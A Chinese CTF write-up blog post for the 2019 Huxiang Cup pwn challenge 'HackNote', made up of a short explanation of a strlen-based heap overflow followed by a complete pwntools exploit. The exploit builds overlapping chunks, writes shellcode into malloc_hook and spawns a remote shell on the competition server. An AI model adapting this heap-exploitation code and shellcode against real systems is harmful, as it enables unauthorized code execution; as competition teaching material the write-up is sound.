HackNote

发表于 2021-01-04 分类于 Challenge， 2019， 湖湘杯， Pwn
Challenge | 2019 | 湖湘杯 | Pwn | HackNote

点击此处获得更好的阅读体验

---

edit那边的strlen存在问题，如果一直输入接到下一个chunk的size地方，那就会出现new_len>old_len情况，可以下一次edit到size段，从而造成堆重叠，最后修改malloc_hook来getshell。但是长度不够，所以自写了个read后ret过去执行。

```
from pwn import *
#r=process('./HackNote')
r=remote('183.129.189.62',11104)
context(arch = 'amd64', os = 'linux')
def gd():
    gdb.attach(r)
    pause()
def add(size,content):
    r.sendlineafter('-----------------','1')
    r.sendlineafter('nput the Size:',str(size))
    r.sendafter('he Note:',content)
def free(idx):
    r.sendlineafter('-----------------','2')
    r.sendlineafter('the Index of Note:',str(idx))
def edit(idx,content):
    r.sendlineafter('-----------------','3')
    r.sendlineafter('Note',str(idx))
    r.sendafter('Input the Note:',content)
fake=0x06CBC40
free_hook=0x6CD5E8
malloc_hook=0x6CB788
sc=asm(shellcraft.sh())
sc='''
xor rdi,rdi
push 0x6cbc40
pop rsi
push 0x100
pop rbx
push 0
pop rax
syscall
push 0x6cbc40
ret
'''
sc=asm(sc)
print shellcraft.sh()
print hex(len(sc))
add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0
add(0xf8,'aaaan')#1
add(0x38,'bbbbn')#2
add(0x50,'ccccn')#3
edit(0,'a'*0xf8)
edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01')
free(1)
add(0xf8,'aaaan')#1
add(0x38,p64(malloc_hook-0xe-8)+'n')#4
free(2)
edit(4,p64(malloc_hook-0xe-8)+'n')
add(0x38,p64(malloc_hook-0xe-8)+'n')#2
add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n')
r.sendline('1')
r.recvuntil('Input the Size:n')
r.sendline('123')
r.sendline(asm(shellcraft.sh()))
r.interactive()
```


 # Challenge # Pwn # 2019 # 湖湘杯

something in image
NameSystem